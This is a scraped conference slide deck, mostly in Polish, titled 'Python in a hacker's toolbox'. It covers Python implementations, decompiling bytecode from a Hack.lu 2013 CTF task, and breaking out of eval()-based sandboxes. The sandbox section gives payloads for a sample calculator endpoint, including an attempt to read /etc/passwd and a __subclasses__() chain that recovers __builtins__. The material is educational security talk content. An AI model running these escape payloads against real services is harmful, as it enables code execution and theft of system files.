Python in a hacker's toolbox
Python-in-a-hackers-toolbox-GYNVAEL-COLDWIND
Python-in-a-hackers-toolbox-GYNVAEL-COLDWIND
You also want an ePaper? Increase the reach of your titles
YUMPU automatically turns print PDFs into web optimized ePapers that Google loves.
<strong>Python</strong> <strong>in</strong> a <strong>hacker's</strong> <strong>toolbox</strong><br />
v. 2016<br />
Gynvael Coldw<strong>in</strong>d<br />
Security PWN<strong>in</strong>g Conference, Warszawa 2016
Keynote?<br />
Raczej prelekcja techniczna.
O prelegencie<br />
All op<strong>in</strong>ions expressed dur<strong>in</strong>g this presentations are m<strong>in</strong>e and m<strong>in</strong>e alone. They<br />
are not op<strong>in</strong>ions of my lawyer, barber and especially not my employer.
Menu<br />
Język i VM<br />
Sandbox<strong>in</strong>g<br />
RE<br />
Bezpieczeństwo
Ta prezentacja zawiera fragmenty<br />
●<br />
●<br />
●<br />
Data, data, data...<br />
"On the battlefield with the dragons" (+ Mateusz Jurczyk)<br />
"Ataki na systemy i sieci komputerowe"<br />
● "Pwn<strong>in</strong>g (sometimes) with style - Dragons' notes on CTFs" (+<br />
Mateusz Jurczyk)<br />
●<br />
"<strong>Python</strong> <strong>in</strong> a <strong>hacker's</strong> <strong>toolbox</strong>"
Język i VM
<strong>Python</strong> 2.6, 2.7, 3, C<strong>Python</strong>?, Iron<strong>Python</strong>??,<br />
Jython???, oh my...<br />
<strong>Python</strong>
<strong>Python</strong> 2.6, 2.7, 3, C<strong>Python</strong>?, Iron<strong>Python</strong>??,<br />
Jython???, oh my...<br />
Język rozwijany przez<br />
<strong>Python</strong> Software Foundation<br />
<strong>Python</strong>
<strong>Python</strong> 2.6, 2.7, 3, C<strong>Python</strong>?, Iron<strong>Python</strong>??,<br />
Jython???, oh my...<br />
Język rozwijany przez<br />
<strong>Python</strong> Software Foundation<br />
<strong>Python</strong><br />
<strong>Python</strong> Enhancement Proposal<br />
(w skrócie: PEP)
<strong>Python</strong> 2.6, 2.7, 3, C<strong>Python</strong>?, Iron<strong>Python</strong>??,<br />
Jython???, oh my...<br />
Język rozwijany przez<br />
<strong>Python</strong> Software Foundation<br />
<strong>Python</strong><br />
<strong>Python</strong> Enhancement Proposal<br />
(w skrócie: PEP)
<strong>Python</strong> 2.6, 2.7, 3, C<strong>Python</strong>?, Iron<strong>Python</strong>??,<br />
Jython???, oh my...<br />
<strong>Python</strong><br />
Implementacje<br />
https://wiki.python.org/mo<strong>in</strong>/<strong>Python</strong>Implementations
<strong>Python</strong> 2.6, 2.7, 3, C<strong>Python</strong>?, Iron<strong>Python</strong>??,<br />
Jython???, oh my...<br />
Jython<br />
C<strong>Python</strong><br />
Brython<br />
CL<strong>Python</strong><br />
HotPy<br />
<strong>Python</strong><br />
Implementacje<br />
pyjs<br />
PyMite<br />
PyPy<br />
pyvm<br />
t<strong>in</strong>ypy<br />
Iron<strong>Python</strong><br />
RapydScript<br />
SNAPpy<br />
https://wiki.python.org/mo<strong>in</strong>/<strong>Python</strong>Implementations
<strong>Python</strong> 2.6, 2.7, 3, C<strong>Python</strong>?, Iron<strong>Python</strong>??,<br />
Jython???, oh my...<br />
Jython<br />
<strong>Python</strong><br />
Implementacje<br />
https://wiki.python.org/mo<strong>in</strong>/<strong>Python</strong>Implementations
<strong>Python</strong> 2.6, 2.7, 3, C<strong>Python</strong>?, Iron<strong>Python</strong>??,<br />
Jython???, oh my...<br />
Brython<br />
<strong>Python</strong><br />
Implementacje<br />
https://wiki.python.org/mo<strong>in</strong>/<strong>Python</strong>Implementations
<strong>Python</strong> 2.6, 2.7, 3, C<strong>Python</strong>?, Iron<strong>Python</strong>??,<br />
Jython???, oh my...<br />
<strong>Python</strong><br />
Implementacje<br />
Iron<strong>Python</strong><br />
https://wiki.python.org/mo<strong>in</strong>/<strong>Python</strong>Implementations
<strong>Python</strong> 2.6, 2.7, 3, C<strong>Python</strong>?, Iron<strong>Python</strong>??,<br />
Jython???, oh my...<br />
C<strong>Python</strong><br />
Implementacja wzorcowa<br />
<strong>Python</strong><br />
Implementacje<br />
https://wiki.python.org/mo<strong>in</strong>/<strong>Python</strong>Implementations
<strong>Python</strong> 2.6, 2.7, 3, C<strong>Python</strong>?, Iron<strong>Python</strong>??,<br />
Jython???, oh my...<br />
C<strong>Python</strong><br />
2.7<br />
3.X
<strong>Python</strong> 2.6, 2.7, 3, C<strong>Python</strong>?, Iron<strong>Python</strong>??,<br />
Jython???, oh my...<br />
O tym jest ta<br />
prezentacja<br />
C<strong>Python</strong><br />
2.7<br />
3.X
<strong>Python</strong> 2.6, 2.7, 3, C<strong>Python</strong>?, Iron<strong>Python</strong>??,<br />
Jython???, oh my...<br />
2c-python<br />
Compyler<br />
<strong>Python</strong> Kompilatory GCC<br />
Pyc<br />
Cython<br />
Nuitka<br />
un<strong>Python</strong><br />
Shed Sk<strong>in</strong><br />
https://wiki.python.org/mo<strong>in</strong>/<strong>Python</strong>Implementations
<strong>Python</strong> 2.6, 2.7, 3, C<strong>Python</strong>?, Iron<strong>Python</strong>??,<br />
Jython???, oh my...<br />
py2app<br />
<strong>Python</strong><br />
Bundlery<br />
("freezery")<br />
PyInstaller<br />
cx_Freeze<br />
py2exe<br />
bbfreeze<br />
http://tynecki.pl/pdf/A-comparison-of-reverse-eng<strong>in</strong>eer<strong>in</strong>g-methods-for-<strong>Python</strong>-compiled-b<strong>in</strong>aries-Piotr-Tynecki.pdf
<strong>Python</strong> jako język programowania (1 IV)
<strong>Python</strong> jako język programowania (1 IV)
<strong>Python</strong> jako język programowania (1 IV)
<strong>Python</strong> jako język programowania (1 IV)
<strong>Python</strong> jako język programowania (1 IV)
<strong>Python</strong> jako język programowania (1 IV)
<strong>Python</strong> jako język programowania (1 IV)<br />
http://gynvael.coldw<strong>in</strong>d.pl/?id=599
<strong>Python</strong> jako język programowania<br />
obiektowy<br />
bardzo<br />
rozsądne <strong>in</strong>ty<br />
dynamicznie<br />
typowany<br />
masa bibliotek<br />
świetna<br />
<strong>in</strong>trospekcja
RE
PY → PYC → PY<br />
def func(a):<br />
pr<strong>in</strong>t(a+1)<br />
python -m compileall simple.py<br />
func(41)
PY → PYC → PY<br />
sygnatura wersji<br />
>>> pr<strong>in</strong>t(<br />
znak nowej l<strong>in</strong>ii<br />
datetime.datetime.fromtimestamp(0x58206240))<br />
2016-11-07 12:15:12<br />
timestamp
PY → PYC → PY<br />
zserializowany<br />
obiekt klasy code
PY → PYC → PY<br />
>>> import marshal<br />
>>> marshal.loads(open("simple.pyc").read()[8:])<br />
PY → PYC → PY<br />
>>> import marshal<br />
>>> marshal.loads(open("simple.pyc").read()[8:])<br />
<br />
>>> import dis<br />
>>> dis.dis(c)<br />
1 0 LOAD_CONST 0 ()<br />
3 MAKE_FUNCTION 0<br />
6 STORE_NAME 0 (func)<br />
4 9 LOAD_NAME 0 (func)<br />
12 LOAD_CONST 1 (41)<br />
15 CALL_FUNCTION 1<br />
18 POP_TOP<br />
19 LOAD_CONST 2 (None)<br />
22 RETURN_VALUE<br />
kod bajtowy<br />
maszyny stosowej
PY → PYC → PY<br />
func = MAKE_FUNCTION(CONST[0])<br />
func(41)<br />
return None<br />
>>> import dis<br />
>>> dis.dis(c)<br />
1 0 LOAD_CONST 0 ()<br />
3 MAKE_FUNCTION 0<br />
6 STORE_NAME 0 (func)<br />
4 9 LOAD_NAME 0 (func)<br />
12 LOAD_CONST 1 (41)<br />
15 CALL_FUNCTION 1<br />
18 POP_TOP<br />
19 LOAD_CONST 2 (None)<br />
22 RETURN_VALUE
PY → PYC → PY<br />
func = MAKE_FUNCTION(CONST[0])<br />
>>> dis.dis(c.co_consts[0])<br />
2 0 LOAD_FAST 0 (a)<br />
3 LOAD_CONST 1 (1)<br />
6 BINARY_ADD<br />
7 PRINT_ITEM<br />
8 PRINT_NEWLINE<br />
9 LOAD_CONST 0 (None)<br />
12 RETURN_VALUE
PY → PYC → PY<br />
func = MAKE_FUNCTION(CONST[0])<br />
pr<strong>in</strong>t(a+1)<br />
return None<br />
>>> dis.dis(c.co_consts[0])<br />
2 0 LOAD_FAST 0 (a)<br />
3 LOAD_CONST 1 (1)<br />
6 BINARY_ADD<br />
7 PRINT_ITEM<br />
8 PRINT_NEWLINE<br />
9 LOAD_CONST 0 (None)<br />
12 RETURN_VALUE
PY → PYC → PY<br />
def func(a):<br />
pr<strong>in</strong>t(a+1)<br />
func(41)<br />
def func(a):<br />
pr<strong>in</strong>t(a+1)<br />
return None<br />
func(41)<br />
return None<br />
Easy <strong>Python</strong> Decompiler - https://sourceforge.net/projects/easypythondecompiler/<br />
Decompyle++: https://github.com/zrax/pycdc<br />
uncompyle2: https://github.com/Mysterie/uncompyle2
Kod bajtowy a wersje C<strong>Python</strong><br />
http://gynvael.coldw<strong>in</strong>d.pl/rebook/py_opcodes.html
Przykład RE
What’s wrong with this? (Hack.lu 2013, 250)<br />
hello.tar
What’s wrong with this? (Hack.lu 2013, 250)<br />
library.zip<br />
...<br />
__ma<strong>in</strong>__hello__.pyc<br />
...
What’s wrong with this? (Hack.lu 2013, 250)<br />
__ma<strong>in</strong>__hello__.pyc<br />
http://nedbatchelder.com/blog/200804/the_structure_of_pyc_files.html<br />
[Names]<br />
'sys'<br />
'hashlib'<br />
'sha256'<br />
'dis'<br />
'multiprocess<strong>in</strong>g'<br />
'UserList'<br />
'encrypt_str<strong>in</strong>g'<br />
'rot_chr'<br />
'SECRET'<br />
'argv'
What’s wrong with this? (Hack.lu 2013, 250)<br />
__ma<strong>in</strong>__hello__.pyc<br />
http://nedbatchelder.com/blog/200804/the_structure_of_pyc_files.html<br />
[Names]<br />
'sys'<br />
'hashlib'<br />
'sha256'<br />
'dis'<br />
'multiprocess<strong>in</strong>g'<br />
'UserList'<br />
'encrypt_str<strong>in</strong>g'<br />
'rot_chr'<br />
'SECRET'<br />
'argv'<br />
[Code]<br />
Object Name: encrypt_str<strong>in</strong>g<br />
...<br />
[Disassembly]<br />
0 BUILD_LIST 0<br />
3 STORE_FAST 1: new_str<br />
6 SETUP_LOOP 99 (to 108)<br />
9 LOAD_GLOBAL 0: enumerate<br />
12 LOAD_FAST 0: s<br />
15 CALL_FUNCTION 1<br />
18
What’s wrong with this? (Hack.lu 2013, 250)<br />
__ma<strong>in</strong>__hello__.pyc<br />
http://nedbatchelder.com/blog/200804/the_structure_of_pyc_files.html<br />
[Names]<br />
'sys'<br />
'hashlib'<br />
'sha256'<br />
'dis'<br />
'multiprocess<strong>in</strong>g'<br />
'UserList'<br />
'encrypt_str<strong>in</strong>g'<br />
'rot_chr'<br />
'SECRET'<br />
'argv'<br />
# Source Generated with Decompyle++<br />
# File: __ma<strong>in</strong>__hello__.pyc (...)<br />
import sys<br />
import dis<br />
import multiprocess<strong>in</strong>g<br />
import UserList<br />
def encrypt_str<strong>in</strong>g(s):<br />
pass<br />
# WARNING: Decompyle <strong>in</strong>complete
What’s wrong with this? (Hack.lu 2013, 250)<br />
Autorzy zadania zmodyfikowali kod bajtowy C<strong>Python</strong>.
What’s wrong with this? (Hack.lu 2013, 250)<br />
Autorzy zadania zmodyfikowali kod bajtowy C<strong>Python</strong>.<br />
Na przykład:<br />
...<br />
114 LOAD_FAST 1: new_str<br />
117 CALL_FUNCTION 1<br />
120 IMPORT_STAR<br />
What’s wrong with this? (Hack.lu 2013, 250)<br />
Autorzy zadania zmodyfikowali kod bajtowy C<strong>Python</strong>.<br />
Na przykład:<br />
...<br />
114 LOAD_FAST 1: new_str<br />
117 CALL_FUNCTION 1<br />
120 IMPORT_STAR<br />
<br />
#def<strong>in</strong>e RETURN_VALUE 83 #def<strong>in</strong>e IMPORT_STAR 84
What’s wrong with this? (Hack.lu 2013, 250)<br />
53 ↔ 54<br />
62 ↔ 63<br />
44 ↔ 45<br />
19 ↔ 18<br />
57 ↔ 58
What’s wrong with this? (Hack.lu 2013, 250)<br />
53 ↔ 54<br />
DELETE_SLICE vs STORE_MAP<br />
62 ↔ 63<br />
BINARY_LSHIFT vs BINARY_RSHIFT<br />
44 ↔ 45<br />
? vs ?<br />
19 ↔ 18<br />
BINARY_POWER vs ?<br />
57 ↔ 58<br />
INPLACE_MULTIPLY vs INPLACE_DIVIDE
What’s wrong with this? (Hack.lu 2013, 250)<br />
BUILD_LIST 0<br />
STORE_FAST 1 (new_str)<br />
encrypt_str<strong>in</strong>g<br />
SETUP_LOOP 98 (to 107)<br />
...<br />
GET_ITER<br />
FOR_ITER 85 (to 107)<br />
...<br />
COMPARE_OP 2 (==)<br />
POP_JUMP_IF_FALSE 68<br />
POP_BLOCK<br />
...<br />
RETURN_VALUE<br />
LOAD_FAST 1 (new_str)<br />
...<br />
JUMP_ABSOLUTE 19<br />
LOAD_FAST 1 (new_str)<br />
...<br />
JUMP_ABSOLUTE 19
What’s wrong with this? (Hack.lu 2013, 250)<br />
LOAD_GLOBAL 0 (chr)<br />
LOAD_GLOBAL 1 (ord)<br />
LOAD_FAST 0 (c)<br />
CALL_FUNCTION 1<br />
LOAD_CONST 1 (33)<br />
BINARY_SUB<br />
LOAD_FAST 1 (amount)<br />
BINARY_ADD<br />
LOAD_CONST 2 (94)<br />
BINARY_MODULE<br />
LOAD_CONST 1 (33)<br />
BINARY_ADD<br />
CALL_FUNCTION 0<br />
RETURN_VALUE<br />
rot_chr
What’s wrong with this? (Hack.lu 2013, 250)<br />
LOAD_GLOBAL 0 (chr)<br />
LOAD_GLOBAL 1 (ord)<br />
LOAD_FAST 0 (c)<br />
CALL_FUNCTION 1<br />
LOAD_CONST 1 (33)<br />
BINARY_SUB<br />
LOAD_FAST 1 (amount)<br />
BINARY_ADD<br />
LOAD_CONST 2 (94)<br />
BINARY_MODULE<br />
LOAD_CONST 1 (33)<br />
BINARY_ADD<br />
CALL_FUNCTION 0<br />
RETURN_VALUE<br />
rot_chr
What’s wrong with this? (Hack.lu 2013, 250)<br />
LOAD_GLOBAL 0 (chr)<br />
LOAD_GLOBAL 1 (ord)<br />
LOAD_FAST 0 (c)<br />
CALL_FUNCTION 1<br />
LOAD_CONST 1 (33)<br />
BINARY_SUB<br />
LOAD_FAST 1 (amount)<br />
BINARY_ADD<br />
LOAD_CONST 2 (94)<br />
BINARY_MODULE<br />
LOAD_CONST 1 (33)<br />
BINARY_ADD<br />
CALL_FUNCTION 0<br />
RETURN_VALUE<br />
<br />
rot_chr<br />
What’s wrong with this? (Hack.lu 2013, 250)<br />
LOAD_GLOBAL 0 (chr)<br />
LOAD_GLOBAL 1 (ord)<br />
LOAD_FAST 0 (c)<br />
CALL_FUNCTION 1<br />
LOAD_CONST 1 (33)<br />
BINARY_SUB<br />
LOAD_FAST 1 (amount)<br />
BINARY_ADD<br />
LOAD_CONST 2 (94)<br />
BINARY_MODULE<br />
LOAD_CONST 1 (33)<br />
BINARY_ADD<br />
CALL_FUNCTION 0<br />
RETURN_VALUE<br />
<br />
ord(c)<br />
rot_chr
What’s wrong with this? (Hack.lu 2013, 250)<br />
LOAD_GLOBAL 0 (chr)<br />
LOAD_GLOBAL 1 (ord)<br />
LOAD_FAST 0 (c)<br />
CALL_FUNCTION 1<br />
LOAD_CONST 1 (33)<br />
BINARY_SUB<br />
LOAD_FAST 1 (amount)<br />
BINARY_ADD<br />
LOAD_CONST 2 (94)<br />
BINARY_MODULE<br />
LOAD_CONST 1 (33)<br />
BINARY_ADD<br />
CALL_FUNCTION 0<br />
RETURN_VALUE<br />
<br />
ord(c)<br />
ord(c) <br />
rot_chr
What’s wrong with this? (Hack.lu 2013, 250)<br />
LOAD_GLOBAL 0 (chr)<br />
LOAD_GLOBAL 1 (ord)<br />
LOAD_FAST 0 (c)<br />
CALL_FUNCTION 1<br />
LOAD_CONST 1 (33)<br />
BINARY_SUB<br />
LOAD_FAST 1 (amount)<br />
BINARY_ADD<br />
LOAD_CONST 2 (94)<br />
BINARY_MODULE<br />
LOAD_CONST 1 (33)<br />
BINARY_ADD<br />
CALL_FUNCTION 0<br />
RETURN_VALUE<br />
<br />
ord(c)<br />
ord(c) <br />
ord(c)-33<br />
rot_chr
What’s wrong with this? (Hack.lu 2013, 250)<br />
LOAD_GLOBAL 0 (chr)<br />
LOAD_GLOBAL 1 (ord)<br />
LOAD_FAST 0 (c)<br />
CALL_FUNCTION 1<br />
LOAD_CONST 1 (33)<br />
BINARY_SUB<br />
LOAD_FAST 1 (amount)<br />
BINARY_ADD<br />
LOAD_CONST 2 (94)<br />
BINARY_MODULE<br />
LOAD_CONST 1 (33)<br />
BINARY_ADD<br />
CALL_FUNCTION 0<br />
RETURN_VALUE<br />
<br />
ord(c)<br />
ord(c) <br />
ord(c)-33<br />
ord(c)-33 <br />
rot_chr
What’s wrong with this? (Hack.lu 2013, 250)<br />
LOAD_GLOBAL 0 (chr)<br />
LOAD_GLOBAL 1 (ord)<br />
LOAD_FAST 0 (c)<br />
CALL_FUNCTION 1<br />
LOAD_CONST 1 (33)<br />
BINARY_SUB<br />
LOAD_FAST 1 (amount)<br />
BINARY_ADD<br />
LOAD_CONST 2 (94)<br />
BINARY_MODULE<br />
LOAD_CONST 1 (33)<br />
BINARY_ADD<br />
CALL_FUNCTION 0<br />
RETURN_VALUE<br />
<br />
ord(c)<br />
ord(c) <br />
ord(c)-33<br />
ord(c)-33 <br />
ord(c)-33+amount<br />
rot_chr
What’s wrong with this? (Hack.lu 2013, 250)<br />
LOAD_GLOBAL 0 (chr)<br />
LOAD_GLOBAL 1 (ord)<br />
LOAD_FAST 0 (c)<br />
CALL_FUNCTION 1<br />
LOAD_CONST 1 (33)<br />
BINARY_SUB<br />
LOAD_FAST 1 (amount)<br />
BINARY_ADD<br />
LOAD_CONST 2 (94)<br />
BINARY_MODULE<br />
LOAD_CONST 1 (33)<br />
BINARY_ADD<br />
CALL_FUNCTION 0<br />
RETURN_VALUE<br />
<br />
ord(c)<br />
ord(c) <br />
ord(c)-33<br />
ord(c)-33 <br />
ord(c)-33+amount<br />
ord(c)-33+amount <br />
rot_chr
What’s wrong with this? (Hack.lu 2013, 250)<br />
LOAD_GLOBAL 0 (chr)<br />
LOAD_GLOBAL 1 (ord)<br />
LOAD_FAST 0 (c)<br />
CALL_FUNCTION 1<br />
LOAD_CONST 1 (33)<br />
BINARY_SUB<br />
LOAD_FAST 1 (amount)<br />
BINARY_ADD<br />
LOAD_CONST 2 (94)<br />
BINARY_MODULE<br />
LOAD_CONST 1 (33)<br />
BINARY_ADD<br />
CALL_FUNCTION 0<br />
RETURN_VALUE<br />
<br />
ord(c)<br />
ord(c) <br />
ord(c)-33<br />
ord(c)-33 <br />
ord(c)-33+amount<br />
ord(c)-33+amount <br />
(ord(c)-33+amount) % 94<br />
rot_chr
What’s wrong with this? (Hack.lu 2013, 250)<br />
LOAD_GLOBAL 0 (chr)<br />
LOAD_GLOBAL 1 (ord)<br />
LOAD_FAST 0 (c)<br />
CALL_FUNCTION 1<br />
LOAD_CONST 1 (33)<br />
BINARY_SUB<br />
LOAD_FAST 1 (amount)<br />
BINARY_ADD<br />
LOAD_CONST 2 (94)<br />
BINARY_MODULE<br />
LOAD_CONST 1 (33)<br />
BINARY_ADD<br />
CALL_FUNCTION 0<br />
RETURN_VALUE<br />
<br />
ord(c)<br />
ord(c) <br />
ord(c)-33<br />
ord(c)-33 <br />
ord(c)-33+amount<br />
ord(c)-33+amount <br />
(ord(c)-33+amount) % 94<br />
(ord(c)-33+amount) % 94 <br />
rot_chr
What’s wrong with this? (Hack.lu 2013, 250)<br />
LOAD_GLOBAL 0 (chr)<br />
LOAD_GLOBAL 1 (ord)<br />
LOAD_FAST 0 (c)<br />
CALL_FUNCTION 1<br />
LOAD_CONST 1 (33)<br />
BINARY_SUB<br />
LOAD_FAST 1 (amount)<br />
BINARY_ADD<br />
LOAD_CONST 2 (94)<br />
BINARY_MODULE<br />
LOAD_CONST 1 (33)<br />
BINARY_ADD<br />
CALL_FUNCTION 0<br />
RETURN_VALUE<br />
<br />
ord(c)<br />
ord(c) <br />
ord(c)-33<br />
ord(c)-33 <br />
ord(c)-33+amount<br />
ord(c)-33+amount <br />
(ord(c)-33+amount) % 94<br />
(ord(c)-33+amount) % 94 <br />
(ord(c)-33+amount) % 94 + 33<br />
rot_chr
What’s wrong with this? (Hack.lu 2013, 250)<br />
LOAD_GLOBAL 0 (chr)<br />
LOAD_GLOBAL 1 (ord)<br />
LOAD_FAST 0 (c)<br />
CALL_FUNCTION 1<br />
LOAD_CONST 1 (33)<br />
BINARY_SUB<br />
LOAD_FAST 1 (amount)<br />
BINARY_ADD<br />
LOAD_CONST 2 (94)<br />
BINARY_MODULE<br />
LOAD_CONST 1 (33)<br />
BINARY_ADD<br />
CALL_FUNCTION 0<br />
RETURN_VALUE<br />
rot_chr<br />
<br />
ord(c)<br />
ord(c) <br />
ord(c)-33<br />
ord(c)-33 <br />
ord(c)-33+amount<br />
ord(c)-33+amount <br />
(ord(c)-33+amount) % 94<br />
(ord(c)-33+amount) % 94 <br />
(ord(c)-33+amount) % 94 + 33<br />
chr((ord(c)-33+amount) % 94 + 33)
What’s wrong with this? (Hack.lu 2013, 250)<br />
LOAD_GLOBAL 0 (chr)<br />
LOAD_GLOBAL 1 (ord)<br />
LOAD_FAST 0 (c)<br />
CALL_FUNCTION 1<br />
LOAD_CONST 1 (33)<br />
BINARY_SUB<br />
LOAD_FAST 1 (amount)<br />
BINARY_ADD<br />
LOAD_CONST 2 (94)<br />
BINARY_MODULE<br />
LOAD_CONST 1 (33)<br />
BINARY_ADD<br />
CALL_FUNCTION 0<br />
RETURN_VALUE<br />
rot_chr<br />
<br />
ord(c)<br />
ord(c) <br />
ord(c)-33<br />
ord(c)-33 <br />
ord(c)-33+amount<br />
ord(c)-33+amount <br />
(ord(c)-33+amount) % 94<br />
(ord(c)-33+amount) % 94 <br />
(ord(c)-33+amount) % 94 + 33<br />
chr((ord(c)-33+amount) % 94 + 33)<br />
return chr(ord(c)-33+amount) % 94 + 33)
What’s wrong with this? (Hack.lu 2013, 250)<br />
def rot_xchr(c, amount):<br />
if amount < 0:<br />
amount += 94<br />
return chr(((ord(c) - 33) + amount) % 94 + 33)<br />
SECRET = 'w*0;CNU[\\gwPWk}3:PWk"#&:ABu/:Hi,M'<br />
x = rot_xchr(SECRET[0], -10)<br />
i = 0<br />
for ch <strong>in</strong> SECRET[1:]:<br />
x += rot_xchr(ch, -ord(SECRET[i]))<br />
i += 1<br />
pr<strong>in</strong>t x
RE dla odważnych (zadanie domowe)
Zadanie domowe dla chętnych<br />
http://gynvael.coldw<strong>in</strong>d.pl/?id=602
Sandbox<strong>in</strong>g
Sandox<strong>in</strong>g?<br />
eval("kod do wykonania",<br />
{środowisko globalne},<br />
{środowisko lokalne})<br />
UWAGA:<br />
Tego typu sandbox<strong>in</strong>g<br />
NIE DZIAŁA.<br />
>>> eval("open('asdf')", {"__built<strong>in</strong>s__":{}}, {})<br />
Traceback (most recent call last):<br />
File "", l<strong>in</strong>e 1, <strong>in</strong> <br />
File "", l<strong>in</strong>e 1, <strong>in</strong> <br />
NameError: name 'open' is not def<strong>in</strong>ed
Sandbox<strong>in</strong>g - przykład 1
„Sandbox”<br />
(jedynie ilustracja)<br />
Kalkulator<br />
Prosty widget na stronie.
„Sandbox”<br />
POST /calc HTTP/1.1<br />
{"formula": "6*9"}<br />
HTTP SERVER<br />
HTTP/1.1 200 OK<br />
{"result": "42"}
„Sandbox”<br />
POST /calc HTTP/1.1<br />
{"formula": "0/0"}<br />
HTTP SERVER<br />
HTTP/1.1 200 OK<br />
{"error":<br />
"ZeroDivisionError"}
„Sandbox”<br />
?<br />
1+open("/etc/passwd")+1<br />
?<br />
?<br />
NameError<br />
TypeError<br />
Damn Kids!<br />
Get Off My Lawn!
„Sandbox”<br />
1+open("/etc/passwd")+1<br />
NameError
„Sandbox”<br />
?<br />
1+len([1,1,1])+1<br />
?<br />
?<br />
NameError 5<br />
Damn Kids!<br />
Get Off My Lawn!
„Sandbox”<br />
1+len([1,1,1])+1<br />
NameError<br />
Prawdopodobnie sandbox typu:<br />
eval("formula",<br />
{"__built<strong>in</strong>s__": None,<br />
"s<strong>in</strong>": math.s<strong>in</strong>,<br />
... }, # Globals<br />
{}) # Locals
„Sandbox”<br />
?<br />
1+[1,1,1].__len__()+1<br />
?<br />
?<br />
NameError 5<br />
Damn Kids!<br />
Get Off My Lawn!
„Sandbox”<br />
1+[1,1,1].__len__()+1<br />
5
„Sandbox”<br />
{}<br />
dir(formula)<br />
{}<br />
['__class__', '__cmp__', '__conta<strong>in</strong>s__',<br />
'__delattr__', '__delitem__', '__doc__',<br />
'__eq__', '__format__', '__ge__',<br />
'__getattribute__', '__getitem__', '__gt__',<br />
'__hash__', '__<strong>in</strong>it__', '__iter__', '__le__',<br />
'__len__', '__lt__', '__ne__', '__new__',<br />
'__reduce__', '__reduce_ex__', '__repr__',<br />
'__setattr__', '__setitem__', '__sizeof__',<br />
'__str__', '__subclasshook__', 'clear',<br />
'copy', 'fromkeys', 'get', 'has_key', 'items',<br />
'iteritems', 'iterkeys', 'itervalues', 'keys',<br />
'pop', 'popitem', 'setdefault', 'update',<br />
'values', 'viewitems', 'viewkeys',<br />
'viewvalues']
„Sandbox”<br />
{}.__class__<br />
dir(formula)<br />
<br />
['__class__', '__cmp__', '__conta<strong>in</strong>s__',<br />
'__delattr__', '__delitem__', '__doc__',<br />
'__eq__', '__format__', '__ge__',<br />
'__getattribute__', '__getitem__', '__gt__',<br />
'__hash__', '__<strong>in</strong>it__', '__iter__', '__le__',<br />
'__len__', '__lt__', '__ne__', '__new__',<br />
'__reduce__', '__reduce_ex__', '__repr__',<br />
'__setattr__', '__setitem__', '__sizeof__',<br />
'__str__', '__subclasshook__', 'clear',<br />
'copy', 'fromkeys', 'get', 'has_key', 'items',<br />
'iteritems', 'iterkeys', 'itervalues', 'keys',<br />
'pop', 'popitem', 'setdefault', 'update',<br />
'values', 'viewitems', 'viewkeys',<br />
'viewvalues']<br />
+ hidden: __base__
„Sandbox”<br />
{}.__class__.__base__<br />
dir(formula)<br />
<br />
['__class__', '__delattr__',<br />
'__doc__', '__format__',<br />
'__getattribute__', '__hash__',<br />
'__<strong>in</strong>it__', '__new__',<br />
'__reduce__', '__reduce_ex__',<br />
'__repr__', '__setattr__',<br />
'__sizeof__', '__str__',<br />
'__subclasshook__']<br />
+ hidden: __subclasses__
„Sandbox”<br />
{}.__class__.__base__<br />
.__subclasses__<br />
dir(formula)<br />
<br />
['__call__', '__class__', '__cmp__',<br />
'__delattr__', '__doc__', '__eq__',<br />
'__format__', '__ge__',<br />
'__getattribute__', '__gt__',<br />
'__hash__', '__<strong>in</strong>it__', '__le__',<br />
'__lt__', '__module__', '__name__',<br />
'__ne__', '__new__', '__reduce__',<br />
'__reduce_ex__', '__repr__', '__self__',<br />
'__setattr__', '__sizeof__', '__str__',<br />
'__subclasshook__']
„Sandbox”<br />
{}.__class__.__base__<br />
.__subclasses__()<br />
dir(formula)<br />
[, , , , , , , , , , , , , ,<br />
, , , , , , , , , , , , , , , , , , ,<br />
, , , , , , ,<br />
, , , , , , , , , , , , , , ,<br />
, , ,<br />
, , , , ,<br />
, , , , , , , , , , , , ]<br />
['__add__', '__class__', '__conta<strong>in</strong>s__',<br />
'__delattr__', '__delitem__', '__delslice__',<br />
'__doc__', '__eq__', '__format__', '__ge__',<br />
'__getattribute__', '__getitem__',<br />
'__getslice__', '__gt__', '__hash__',<br />
'__iadd__', '__imul__', '__<strong>in</strong>it__',<br />
'__iter__', '__le__', '__len__', '__lt__',<br />
'__mul__', '__ne__', '__new__', '__reduce__',<br />
'__reduce_ex__', '__repr__', '__reversed__',<br />
'__rmul__', '__setattr__', '__setitem__',<br />
'__setslice__', '__sizeof__', '__str__',<br />
'__subclasshook__', 'append', 'count',<br />
'extend', '<strong>in</strong>dex', '<strong>in</strong>sert', 'pop', 'remove',<br />
'reverse', 'sort']
„Sandbox”<br />
zależne od wersji i środowiska<br />
{}.__class__.__base__<br />
.__subclasses__()[59]<br />
dir(formula)<br />
<br />
['__class__', '__delattr__', '__dict__',<br />
'__doc__', '__enter__', '__exit__',<br />
'__format__', '__getattribute__',<br />
'__hash__', '__<strong>in</strong>it__', '__module__',<br />
'__new__', '__reduce__',<br />
'__reduce_ex__', '__repr__',<br />
'__setattr__', '__sizeof__', '__str__',<br />
'__subclasshook__', '__weakref__']
„Sandbox”<br />
{}.__class__.__base__<br />
.__subclasses__()[59]()<br />
dir(formula)<br />
catch_warn<strong>in</strong>gs()<br />
['__class__', '__delattr__', '__dict__',<br />
'__doc__', '__enter__', '__exit__',<br />
'__format__', '__getattribute__',<br />
'__hash__', '__<strong>in</strong>it__', '__module__',<br />
'__new__', '__reduce__',<br />
'__reduce_ex__', '__repr__',<br />
'__setattr__', '__sizeof__', '__str__',<br />
'__subclasshook__', '__weakref__',<br />
'_entered', '_module', '_record']
„Sandbox”<br />
{}.__class__.__base__<br />
.__subclasses__()[59]()._module<br />
dir(formula)<br />
['Warn<strong>in</strong>gMessage', '_OptionError', '__all__',<br />
<br />
'__built<strong>in</strong>s__', '__doc__',<br />
'__file__', '__name__', '__package__',<br />
'_getaction', '_getcategory',<br />
'_processoptions', '_setoption',<br />
'_show_warn<strong>in</strong>g', 'catch_warn<strong>in</strong>gs',<br />
'default_action', 'defaultaction', 'filters',<br />
'filterwarn<strong>in</strong>gs', 'formatwarn<strong>in</strong>g',<br />
'l<strong>in</strong>ecache', 'once_registry', 'onceregistry',<br />
'resetwarn<strong>in</strong>gs', 'showwarn<strong>in</strong>g',<br />
'simplefilter', 'sys', 'types', 'warn',<br />
'warn_explicit', 'warnpy3k']
„Sandbox”<br />
{}.__class__.__base__<br />
.__subclasses__()[59]()._module<br />
.__built<strong>in</strong>s__<br />
